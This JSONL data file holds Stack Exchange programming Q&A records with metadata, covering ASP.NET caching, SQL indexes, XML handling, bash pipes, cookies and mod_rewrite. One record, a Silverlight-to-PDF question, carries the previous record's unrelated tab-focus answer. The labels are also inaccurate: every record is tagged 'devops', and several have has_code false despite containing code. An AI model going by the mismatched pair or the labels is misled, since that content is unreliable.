{"id": "hf_bcf5f12863c0", "question": "<p>So, I was looking over my standard cache utility when preparing to unit test a controller and thought, hey, is accessing the HttpRuntime.Cache directly considered harmful in MVC?</p>\n\n<p>I wrap the cache in a proxy class that implements a cache-like interface (tho much simpler) so that I can mock it during tests.  But I'm wondering if that's already done for me in the new framework.  I can't find anything, however.</p>\n\n<p>Here's an idea of how I do it:</p>\n\n<pre><code>public ActionResult DoStuffLol(guid id)\n{\n  var model = CacheUtil.GetOrCreateAndStore(\n                  \"DoStuffLolModel\",\n                  () =&gt;\n                  {\n                    /* construct model here; time consuming stuff */\n                    return model;\n                  });\n  return View(\"DoStuffLol\", model);\n}\n</code></pre>\n\n<p>So, has the old patterns of accessing the cache changed?  Are there any better patterns for caching action results in MVC?</p>\n", "question_body": "", "answer": "Add the OutputCache attribute to your controller action in order to tell the framework to cache the output for you.  You can read more about this attribute in\nScottGu's blog post on ASP.NET Preview 4\n.\nDon't combine this with the Authorize attribute\n, however.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.671092"}
{"id": "hf_f6cd639c5f50", "question": "<p>What is the difference between creating one index across multiple columns versus creating multiple indexes, one <em>per</em> column?</p>\n<p>Are there reasons why one should be used over the other?</p>\n<p>For example:</p>\n<pre><code>Create NonClustered Index IX_IndexName On TableName\n(Column1 Asc, Column2 Asc, Column3 Asc)\n</code></pre>\n<p>Versus:</p>\n<pre><code>Create NonClustered Index IX_IndexName1 On TableName\n(Column1 Asc)\n\nCreate NonClustered Index IX_IndexName2 On TableName\n(Column2 Asc)\n\nCreate NonClustered Index IX_IndexName3 On TableName\n(Column3 Asc)\n</code></pre>\n", "question_body": "", "answer": "Yes.  I recommend you check out\nKimberly Tripp's articles on indexing\n.\nIf an index is \"covering\", then there is no need to use anything but the index.  In SQL Server 2005, you can also add additional columns to the index that are not part of the key which can eliminate trips to the rest of the row.\nHaving multiple indexes, each on a single column may mean that only one index gets used at all - you will have to refer to the execution plan to see what effects different indexing schemes offer.\nYou can also use the tuning wizard to help determine what indexes would make a given query or workload perform the best.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.694453"}
{"id": "hf_1c70483ce575", "question": "<p>I want to get a <code>System.Type</code> given only the type name in a <code>string</code>.</p>\n\n<p>For instance, if I have an object:</p>\n\n<pre><code>MyClass abc = new MyClass();\n</code></pre>\n\n<p>I can then say:</p>\n\n<pre><code>System.Type type = abc.GetType();\n</code></pre>\n\n<p>But what if all I have is:</p>\n\n<pre><code>string className = \"MyClass\";\n</code></pre>\n", "question_body": "", "answer": "```\n```\nType type = Type.GetType(\"foo.bar.MyClass, foo.bar\");\n```\n```\nMSDN\n.  Make sure the name is\nAssembly Qualified\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.729930"}
{"id": "hf_1e5ae596b12c", "question": "<p>I recall reading somewhere that using references to smart pointers can cause memory corruption.  Is this simply because of using the reference of the smart pointer after its been destroyed?  Or does the reference counting get messed up?</p>\n\n<p>Thanks for clarifying</p>\n", "question_body": "", "answer": "Assuming you are talking about shared_ptr here...\nIs this simply because of using the\n  reference of the smart pointer after\n  its been destroyed?\nThis is a good answer. You may not know absolutely the lifetime of the pointer your reference refers too.\nTo get around this, you'd want to look into boost::weak_ptr. It doesn't participate in reference counting. When you need to use it, it gives you a shared_ptr which goes away once your done with it. It will also let you know when the refered to pointer has been collected.\nFrom the\nweak_ptr\ndocumentation\nThe weak_ptr class template stores a\n  \"weak reference\" to an object that's\n  already managed by a shared_ptr. To\n  access the object, a weak_ptr can be\n  converted to a shared_ptr using the\n  shared_ptr constructor or the member\n  function lock. When the last\n  shared_ptr to the object goes away and\n  the object is deleted, the attempt to\n  obtain a shared_ptr from the weak_ptr\n  instances that refer to the deleted\n  object will fail: the constructor will\n  throw an exception of type\n  boost::bad_weak_ptr, and\n  weak_ptr::lock will return an empty\n  shared_ptr.\nNote the method expired() will also tell you if your ptr is still around.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.753709"}
{"id": "hf_b2d65fb1e25b", "question": "<p>Say I've got two scheduled processes: A and B.</p>\n\n<p>Given that B should not run until A has completed, how might I gracefully enforce this dependency?</p>\n\n<p>Approaches that have been considered:</p>\n\n<ol>\n<li><p>Have A schedule B upon completion. This has the downside of B never being scheduled if for some reason A failed.</p></li>\n<li><p>When B runs, have it ping A to see if the latter has completed. How this might be accomplished (network, file, database record, message queue) could be messy and problematic introducing a third dependency.</p></li>\n<li><p>Combine A and B into a single process.  This has the downside of tightly binding the two, making it harder to re-run one or the other in isolation if need be.</p></li>\n</ol>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "Your option 1 directly answers your question: if B is dependent on A, and A fails, A not scheduling B means that B can't happen.\nUnless B merely has to run after A does, whether or not A was successful.\nIn that case, something like the following (in bash) would work:\n```\n```\nA && B\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.789749"}
{"id": "hf_0e0054adca46", "question": "<p>I'm starting a project which requires reading outlook msg files in c#.  I have the specs for compound documents but am having trouble reading them in c#.  Any pointers would be greatly appreciated.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Outlook Interop\n.  While I have never used the outlook interop, you\nSHOULD\nbe able to open the email messages with it.\nMailItem Interface\nshould be the interface that you need to access it.\nAlso, make sure that you release the\ncom references\nafter you are done with them", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.838563"}
{"id": "hf_450836cd9986", "question": "<p>I have an XmlDocument that already exists and is read from a file. </p>\n\n<p>I would like to add a chunk of Xml to a node in the document. Is there a good way to create and add all the nodes without cluttering my code with many .CreateNote and .AppendChild calls?</p>\n\n<p>I would like some way of making a string or stringBuilder of a valid Xml section and just appending that to an XmlNode.</p>\n\n<p>ex:\nOriginal XmlDoc:</p>\n\n<pre><code>&lt;MyXml&gt;\n   &lt;Employee&gt;\n   &lt;/Employee&gt;\n&lt;/MyXml&gt;\n</code></pre>\n\n<p>and, I would like to add a Demographic (with several children) tag to Employee:</p>\n\n<pre><code>&lt;MyXml&gt;\n   &lt;Employee&gt;\n      &lt;Demographic&gt;\n         &lt;Age/&gt;\n         &lt;DOB/&gt;\n      &lt;/Demographic&gt;\n   &lt;/Employee&gt;\n&lt;/MyXml&gt;\n</code></pre>\n", "question_body": "", "answer": "I suggest using\nXmlDocument.CreateDocumentFragment\nif you have the data in free form strings. You'll still have to use AppendChild to add the fragment to a node, but you have the freedom of building the XML in your StringBuilder.\n```\n```\nXmlDocument xdoc = new XmlDocument();\nxdoc.LoadXml(@\"<MyXml><Employee></Employee></MyXml>\");\n\nXmlDocumentFragment xfrag = xdoc.CreateDocumentFragment();\nxfrag.InnerXml = @\"<Demographic><Age/><DOB/></Demographic>\";\n\nxdoc.DocumentElement.FirstChild.AppendChild(xfrag);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.885966"}
{"id": "hf_ae7f723e66cd", "question": "<p>Is there an easy way to create a table in SQL Server (2005) from an Excel spreadsheet. I'm thinking maybe some tool?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "If the data is not that big and if it is a simple table, easiest way is to create and open the table in SQL Server Management Studio and copy paste the excel data into it.\nOther solutions are using DTS or using\nSSIS\n..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.909248"}
{"id": "hf_c86ae645e539", "question": "<p>I want to add my own member to the StringBuilder class, but when I go to create it IntelliSense doesn't bring it up.</p>\n\n<pre><code>public class myStringBuilder()\n    Inherits System.Text.[StringBuilder should be here]\n    ....\nend class\n</code></pre>\n\n<p>Is it even possible? thanks</p>\n", "question_body": "", "answer": "No,\nStringBuilder\nis a\nNotInheritable\nclass.  You could try wrapping a\nStringBuilder\ninstance, but can't inherit from it.  You can also use\nextension methods\n, if you're using .NET 3.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:55.955988"}
{"id": "hf_b1f511a66922", "question": "<p>If I have an Address object which implements IEditableObject, I might have EndEdit implementation like this:</p>\n\n<pre><code>public void EndEdit()\n{\n    // BeginEdit would set _editInProgress and update *Editing fields;\n    if (_editInProgress)\n    {\n        _line1 = _line1Editing;\n        _line2 = _line2Editing;\n        _city = _cityEditing;\n        _state = _stateEditing;\n        _postalCode = _postalCodeEditing;\n        _editInProgress = false;\n    }\n}\n</code></pre>\n\n<p>If there is an exception updating <strong><em>_state</em></strong>, for example, then all 5 properties should reset.  This atomic update issue probably isn't limited to EndEdit.</p>\n", "question_body": "", "answer": "First off, Kent is correct in wondering why setting a field would throw an exception.\nIgnoring that question; you could just use a simple:\n```\n```\ntry {\n  //do stuff\n}\ncatch (Exception ex) {\n  //reset\n\n  //rethrow exception\n  throw;\n}\n```\n```\nThe complications come in with regards to what constitutes the reset value for each field?\nThe last value\nA default value\nSome token value denoting an invalid state\nA mix of the above\nIf you need to \"reset\" to the last value then you'll likely want some way to easily store the object state before doing something to it, along with the ability to easily restore that state should something go wrong.  Check out the\nMomento Pattern\non a nifty way to deal with that problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.003561"}
{"id": "hf_0db6b769c6cc", "question": "<p>Let's say I have an existing trivial XML file named 'MyData.xml' that contains the following:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\" ?&gt;\n&lt;myElement&gt;foo&lt;/myElement&gt;\n</code></pre>\n\n<p>I want to change the text value of 'foo' to 'bar' resulting in the following:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\" ?&gt;\n&lt;myElement&gt;bar&lt;/myElement&gt;\n</code></pre>\n\n<p>Once I am done, I want to save the changes.  </p>\n\n<p>What is the easiest and simplest way to accomplish all this?</p>\n", "question_body": "", "answer": "For quick, non-critical XML manipulations, i really like\nP4X\n. It let's you write like this:\n```\n```\nimport p4x\ndoc = p4x.P4X (open(file).read)\ndoc.myElement = 'bar'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.050660"}
{"id": "hf_0b5f7e05c609", "question": "<p>I'm looking to call a subprocess with a file descriptor opened to a given pipe such that the open() call does not hang waiting for the other side of the pipe to receive a connection.</p>\n\n<p>To demonstrate:</p>\n\n<pre><code>$ mkfifo /tmp/foobar.pipe\n$ some_program --command-fd=5 5&lt;/tmp/foobar.pipe\n</code></pre>\n\n<p>In this case, <code>some_program</code> is not run until some process has <code>/tmp/foobar.pipe</code> open for write; however, <code>some_program</code> has useful effects even when it isn't receiving commands, so desired behavior is for <code>some_program</code> to be immediately executed.</p>\n\n<p>Mechanisms to do this by exec'ing through an alternate scripting language (python, perl, etc) or a C wrapper which open <code>/tmp/foobar.pipe</code> with the <code>O_NONBLOCK</code> flag are obvious; I'm looking for a pure-bash solution, should one be possible.</p>\n", "question_body": "", "answer": "The only way I know getting this kind of result is a hack:\n```\n```\nmkfifo /tmp/foobar.in\nmkfifo /tmp/foobar.out\n( cat </tmp/foobar.in ) >/tmp/foobar.out &\nsome_program --command-fd=5 5</tmp/foobar.out\n```\n```\nperhaps this helps :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.086684"}
{"id": "hf_6d8c274975a5", "question": "<p>I'm implementing a class that wraps around an xml document with a very strictly defined schema.  I don't control the schema.  </p>\n\n<p>One of the properties in the class is for an element value that the schema indicates must match a certain regular expression.  In the setter for the property, if a string doesn't match the expression I'm throwing an exception.</p>\n\n<p>My question is, how can I better communicate to users of my class the requirements for this field?  Is there an attribute I can use?  Xml comments (so it shows up in intellisense)?  Should I do something other than thrown an exception?  What other options do I have?</p>\n", "question_body": "", "answer": "Document it in the XML comments, and throw an exception.  Make the message explicit:\n```\n```\nElement <elementname> must match /regex/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.121568"}
{"id": "hf_eb929a0cd328", "question": "<p>I am sure there is a simple answer to this one.</p>\n\n<p>I have a docx file that I get an error when trying to download(document cannot be found).... .doc is fine .txt is also fine. I am sure this is just an iis setting, the permissions on the server are all the same for all files. </p>\n", "question_body": "", "answer": "When there is no mime type associated with an extension in IIS (6.0 and up), it will give you 404. See\nRequests for static files return 404 error (IIS 6.0)\n. (\nEdit:\nThe original MSDN link is dead as of mid-2017,\nthe Internet Archive has a copy\n. Even though it was written for IIS6, the information still applies to modern IIS versions.)\nOther than that, and just because you did not specify\nwhere\nthe error shows up: When you forbid caching in a header, similar behavior may occur on the client. But that is a general issue, and not bound to .docx.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.167243"}
{"id": "hf_aec9a3818122", "question": "<p>How do you delete all the cookies for the current domain using JavaScript?</p>\n", "question_body": "", "answer": "As far as I know there's no way to do a blanket delete of any cookie set on the domain. You can clear a cookie if you know the name and if the script is on the same domain as the cookie.\nYou can set the value to empty and the expiration date to somewhere in the past:\n```\n```\nvar mydate = new Date();\nmydate.setTime(mydate.getTime() - 1);\ndocument.cookie = \"username=; expires=\" + mydate.toGMTString();\n```\n```\nThere's an\nexcellent article here\non manipulating cookies using javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.228845"}
{"id": "hf_e07e64f04a2e", "question": "<p>Can anyone explain what this mod_rewrite rule is doing?</p>\n\n<p>I'm trying to comment the file, but the code seems to state the opposite of what I think it's doing</p>\n\n<pre><code># Enable rewriting of URLs\nRewriteEngine on\n\n\n# Allow specified file types to be accessed\n# Thing to test = URL\n# Condition = not starting with  \nRewriteCond $1 !^(index\\.php|images|css|js|robots\\.txt)\n\n\n# RewriteRule will only be performed if the preceeding RewriteCond is fulfilled\n# Remove index.php from all URLs     \n# Pattern = anything (0 or more of any character)\n# Substitution = index.php + the rest of the URL    \nRewriteRule ^(.*)$ /index.php/$1 [L]  \n</code></pre>\n", "question_body": "", "answer": "If the URL does not start with index.php or images or css or js or robots.txt, the string \"/index.php/\" is prefixed.\nAs index.php is probably an executable php app, the index.php then can read the rest of the URL from its cgi environment. (it is stored in ${PATH_INFO})", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.289121"}
{"id": "hf_75b34559fe4c", "question": "<p>Assuming we always use a Sun JVM (say, 1.5+), is it always safe to cast a Graphics reference to Graphics2D?  </p>\n\n<p>I haven't seen it cause any problems yet and, to my understanding, the Graphics class is legacy code but the Java designers didn't want to change the interfaces for Swing and AWT classes in order to preserver backwards compatibility.</p>\n", "question_body": "", "answer": "According to the discussion\nhere\n, it\nis always safe to cast from\n```\nGraphics\n```\nto\n```\nGraphics2D\n```\n. However I am not able to quickly find the official Sun statement on this.\nThe reason it is valid to cast from\n  Graphics to Graphics2D, is because Sun\n  have said that all Graphics objects\n  returned by the API in Java 1.2 or\n  above will be a subclass of\n  Graphics2D.\nAnother hint\nhere\nwith the same conclusion.\nGraphics Object can always be cast\n  Graphics2D g2d = (Graphics2D)g;", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.312630"}
{"id": "hf_f0cd50495fc1", "question": "<p>I checked out a project from SVN and did not specify the project type, so it checked out as a \"default\" project.  What is the easiest way to quickly convert this into a \"Java\" project?</p>\n\n<p>I'm using Eclipse version 3.3.2.</p>\n", "question_body": "", "answer": "Open the .project file and add java nature and builders.\n```\n```\n<projectDescription>\n    <buildSpec>\n        <buildCommand>\n            <name>org.eclipse.jdt.core.javabuilder</name>\n            <arguments>\n            </arguments>\n        </buildCommand>\n    </buildSpec>\n    <natures>\n        <nature>org.eclipse.jdt.core.javanature</nature>\n    </natures>\n</projectDescription>\n```\n```\nAnd in .classpath, reference the Java libs:\n```\n```\n<classpath>\n    <classpathentry kind=\"con\" path=\"org.eclipse.jdt.launching.JRE_CONTAINER\"/>\n</classpath>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.376011"}
{"id": "hf_a9f79f81baa3", "question": "<p>Can VBA code instantiate and use .NET objects? The specific class I'm interested in is System.IO.Compression.GZipStream.</p>\n\n<p><strong>For Info</strong> GAC is the .NET Global Assembly Cache</p>\n", "question_body": "", "answer": "VBA can make use of any .NET objects that are exposed to COM. I don't know if GZipStream is or not, but I would guess that it would be easier for you to create a separate .NET object that is a wrapper around the functionality of GZipStream that you want to use. You can then expose your object to COM, and then VBA should make use of it.\nNote that the assembly containing your COM object (and its type library too, I think, although I'm not positive on that) need to either be in the same directory as the main executable (winword.exe, or whatever) or in the GAC. This is due to the CLR's loading rules for assemblies.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.434414"}
{"id": "hf_bbb0ccf1d242", "question": "<p>I'm creating a self updating app where I have the majority of the code in a seperate DLL. It's command line and will eventually be run on Mono. I'm just trying to get this code to work in C# on windows at the command line.</p>\n\n<p>How can I create a c# application that I can delete a supporting dll while its running?</p>\n\n<pre><code>AppDomain domain = AppDomain.CreateDomain(\"MyDomain\");\nObjectHandle instance = domain.CreateInstance( \"VersionUpdater.Core\", \"VersionUpdater.Core.VersionInfo\");\nobject unwrap = instance.Unwrap();\nConsole.WriteLine(((ICommand)unwrap).Run());\nAppDomain.Unload(domain);\nConsole.ReadLine();\n</code></pre>\n\n<p>at the ReadLine the VersionUpdater.Core.dll is still locked from deletion</p>\n\n<p>The ICommand interface is in VersionUpdater.Common.dll which is referenced by both the Commandline app and VersionUpdater.Core.dll</p>\n", "question_body": "", "answer": "The only way I've ever managed something similar is to have the DLL in a separate AppDomain to the assembly that is trying to delete it. I unload the other AppDomain and then delete the DLL from disk.\nIf you're looking for a way to perform the update, off the top of my head I would go for a stub exe that spawns the real AppDomain. Then, when that stub exe detects an update is to be applied, it quits the other AppDomain and then does the update magic.\nEDIT: The updater cannot share DLLs with the thing it is updating, otherwise it will lock those DLLs and therefore prevent them from being deleted. I suspect this is why you still get an exception. The updater has to be standalone and not reliant on anything that the other AppDomain uses, and vice versa.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.468865"}
{"id": "hf_70d4d5310d8f", "question": "<p>What I want to do is set the focus to a specific control (specifically a <code>TextBox</code>) on a tab page when that tab page is selected.</p>\n\n<p>I've tried to call <code>Focus</code> during the Selected event of the containing tab control, but that isn't working. After that I tried to call focus during the <code>VisibleChanged</code> event of the control itself (with a check so that I'm not focusing on an invisible control), but that isn't working either.</p>\n\n<p>Searching this site, I've come across this <a href=\"https://stackoverflow.com/questions/48680/winforms-c-set-focus-to-first-child-control-of-tab-page\">question</a> but that isn't working either. Although after that, I did notice that calling the <code>Focus</code> of the control does make it the <code>ActiveControl</code>.</p>\n", "question_body": "", "answer": "I did this and it seems to work:\nHandle the\n```\nSelectedIndexChanged\n```\nfor the\n```\ntabControl\n```\n.\nCheck if\n```\ntabControl1.SelectedIndex\n```\n== the one I want and \ncall\n```\ntextBox.Focus();\n```\nI'm using VS 2008, BTW.\nSomething like this worked:\n```\n```\nprivate void tabControl1_selectedIndexChanged(object sender, EventArgs e)\n{\n   if (tabControl1.SelectedIndex == 1)\n   {\n      textBox1.Focus();\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.492483"}
{"id": "hf_63f81c6a9b0d", "question": "<p>I need to export a SL DataGrid to HTML so my users can then print it. Can someone put me in the right direction?</p>\n\n<p>Upate: After reading Rob's answer I am changing my question. Instead of Silverlight Grid to HTML, I now just want to export it to PDF. Has anyone used any 3rd party PDF generators with Silverlight?</p>\n", "question_body": "", "answer": "I did this and it seems to work:\nHandle the\n```\nSelectedIndexChanged\n```\nfor the\n```\ntabControl\n```\n.\nCheck if\n```\ntabControl1.SelectedIndex\n```\n== the one I want and \ncall\n```\ntextBox.Focus();\n```\nI'm using VS 2008, BTW.\nSomething like this worked:\n```\n```\nprivate void tabControl1_selectedIndexChanged(object sender, EventArgs e)\n{\n   if (tabControl1.SelectedIndex == 1)\n   {\n      textBox1.Focus();\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.515930"}
{"id": "hf_f552e3501add", "question": "<p>Is there a list somewhere on common Attributes which are used in objects like <code>Serializable</code>?</p>\n\n<p>Thanks</p>\n\n<p>Edit ~ The reason I asked is that I came across an StoredProcedure attribute in ntiers ORMS.</p>\n", "question_body": "", "answer": "Yes, look msdn has you covered please look\nhere\n.\nEDIT: This link only answer sucked. Here is a working extractor for all loadable types (gac) that have Attribute in the name.\n```\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Reflection;\n\nnamespace ConsoleApp1\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            var process = new Process();\n            //your path may vary\n            process.StartInfo.FileName = @\"C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v10.0A\\bin\\NETFX 4.6.1 Tools\\gacutil.exe\";\n            process.StartInfo.RedirectStandardOutput = true;\n            process.StartInfo.UseShellExecute = false;\n            process.StartInfo.Arguments = \"/l\";\n            process.Start();\n\n            var consoleOutput = process.StandardOutput;\n\n            var assemblyList = new List<string>();\n            var startAdding = false;\n            while (consoleOutput.EndOfStream == false)\n            {\n                var line = consoleOutput.ReadLine();\n                if (line.IndexOf(\"The Global Assembly Cache contains the following assemblies\", StringComparison.OrdinalIgnoreCase) >= 0)\n                {\n                    startAdding = true;\n                    continue;\n                }\n\n                if (startAdding == false)\n                {\n                    continue;\n                }\n\n                //add any other filter conditions (framework version, etc)\n                if (line.IndexOf(\"System.\", StringComparison.OrdinalIgnoreCase) < 0)\n                {\n                    continue;\n                }\n\n                assemblyList.Add(line.Trim());\n            }\n\n            var collectedRecords = new List<string>();\n            var failedToLoad = new List<string>();\n\n            Console.WriteLine($\"Found {assemblyList.Count} assemblies\");\n            var currentItem = 1;\n\n            foreach (var gacAssemblyInfo in assemblyList)\n            {\n                Console.SetCursorPosition(0, 2);\n                Console.WriteLine($\"On {currentItem} of {assemblyList.Count} \");\n                Console.SetCursorPosition(0, 3);\n                Console.WriteLine($\"Loading {gacAssemblyInfo}\");\n                currentItem++;\n\n                try\n                {\n                    var asm = Assembly.Load(gacAssemblyInfo);\n\n                    foreach (Type t in asm.GetTypes())\n                    {\n                        if (t.Name.EndsWith(\"Attribute\", StringComparison.OrdinalIgnoreCase))\n                        {\n                            collectedRecords.Add($\"{t.FullName} - {t.Assembly.FullName}\");\n                        }\n                    }\n\n                }\n                catch (Exception ex)\n                {\n                    failedToLoad.Add($\"FAILED to load {gacAssemblyInfo} - {ex}\");\n                    Console.SetCursorPosition(1, 9);\n                    Console.WriteLine($\"Failure to load count: {failedToLoad.Count}\");\n                    Console.SetCursorPosition(4, 10);\n                    Console.WriteLine($\"Last Fail: {gacAssemblyInfo}\");\n                }\n            }\n\n            var fileBase = System.IO.Path.GetRandomFileName();\n            var goodFile = $\"{fileBase}_good.txt\";\n            var failFile = $\"{fileBase}_failedToLoad.txt\";\n            System.IO.File.WriteAllLines(goodFile, collectedRecords);\n            System.IO.File.WriteAllLines(failFile, failedToLoad);\n            Console.SetCursorPosition(0, 15);\n            Console.WriteLine($\"Matching types: {goodFile}\");\n            Console.WriteLine($\"Failures: {failFile}\");\n            Console.WriteLine(\"Press ENTER to exit\");\n            Console.ReadLine();\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.562892"}
{"id": "hf_3576b0f45994", "question": "<p>F# is derived from OCaml, but what major items are missing or added? Specifically I'm curious as to whether the resources available for learning OCaml are also useful to someone who wants to learn F#.</p>\n", "question_body": "", "answer": "F# supports OCaml syntax directly.  It might not be 100% compatible, but I think it's pretty close.\nhttp://plus.kaist.ac.kr/~shoh/fsharp/html/index.html\nHere is a list of differences (not sure how up-to-date it is)\nhttp://plus.kaist.ac.kr/~shoh/fsharp/html/fsharp-vs-ocaml.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.586680"}
{"id": "hf_b56437937897", "question": "<p>I've seen a lot of questions around that use improperly the expression \"C/C++\".\nThe reasons in my opinion are: </p>\n\n<ul>\n<li>Newbie C and C++ programmers probably don't understand the difference between the two languages.</li>\n<li>People don't really care about it since they want a generic, quick and \"dirty\" answer</li>\n</ul>\n\n<p>While C/C++ could sometimes be interpreted as \"either C or C++\", I think it's a big error. C and C++ offer different approaches to programming, and even if C code can be easily implemented into C++ programs I think that referring to two separate languages with that single expression ( C/C++ ) is wrong.<br /></p>\n\n<p>It's true that some questions can be considered either as C or C++ ones, anyway. \nWhat do you think about it?</p>\n", "question_body": "", "answer": "C/C++ is a holdout from the early days of C++, where they were much more similar than they were today. It's something that wasn't really wrong at first, but is getting more-so all the time.\nThe basic structure is similar enough that most simple questions do still work between the two, though. There is an entire Wikipedia article on this topic:\nhttp://en.wikipedia.org/wiki/Compatibility_of_C_and_C%2B%2B\nThe biggest fallacy that comes from this is that because someone is well-versed in C, they will be equally good at C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:56.610605"}
